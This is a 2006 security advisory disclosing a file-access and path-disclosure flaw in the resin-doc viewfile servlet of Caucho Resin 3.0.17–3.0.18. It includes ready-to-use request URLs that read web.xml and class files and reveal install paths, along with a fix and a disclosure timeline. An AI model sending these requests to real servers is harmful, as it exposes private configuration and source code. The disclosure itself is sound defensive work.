ScanAlert Security Advisory
http://www.scanalert.com

Caucho Resin Multiple Vulnerabilities - Arbitrary File Access & Information
Disclosure

Date: 5/16/06
Vendor: Caucho
Package: Resin
Version: 3.0.17 and 3.0.18 – Vendor Confirmed
Credit: ScanAlert’s Security and Enterprise Services Teams.

Risk:
Common Vulnerability Scoring System (CVSS) -
http://www.first.org/cvss/intro/
 
Related Exploit Range: Remote
Attack Complexity: Low 
Level Of Authentication Needed: Not Required  
Confidentiality Impact: Partial 
Integrity Impact: Partial 
Availability Impact: None

Overview

Caucho Resin is a high performance, Sun certified J2EE server featuring load
balancing for increased reliability. Resin is well known for its flexibility
and ease of use, saving both engineering time and staff costs. 

Vulnerabilities

Resin contains documentation that is available in the /webapps directory and
is an expanded war file available at /resin-doc by default when using the
standard resin.conf and Resin directory structure for configuring the
application. 

This documentation contains a servlet for viewing files within the
integrated tutorial:

http://targetsystem/resin-doc/viewfile/?contextpath=%2Fresin-doc%2Fjmx%2Ftut
orial%2Fbasic&servletpath=%2Findex.xtp&file=index.jsp&re-marker=&re-start=&r
e-end=#code-highlight

The viewfile servlet can easily read any file within the web root with no
parameters:

http://targetsystem/resin-doc/viewfile/?file=index.jsp

It is possible to set the context path outside of the resin-doc and read any
file on alternate web roots:

http://targetsystem/resin-doc/viewfile/?contextpath=/otherwebapp&servletpath
=&file=WEB-INF/web.xml

When resin-doc is installed on a system it is possible to read all files
contained within the web root including class files which can then be
decompiled to view the Java source:

http://targetsystem/resin-doc/viewfile/?contextpath=/&servletpath=&file=WEB-
INF/classes/com/webapp/app/target.class

An incorrect path in the request will reveal the absolute installation path:

File not found
/C:/customer/sites/deploy/n/wwwroot/WEB-INF/classes/com/webapp/app/non-exist
ant.class

Solution: 

Remove the resin-doc.war file from all production systems and do not deploy
using default configuration files. Upgrade to version 3.0.19 or better.

Resolution Timeline:

Vendor Notification: May 5, 2006
Vendor Response: May 9, 2006
Vendor Fix: May 15, 2006
Coordinated public release of advisory: May 16, 2006
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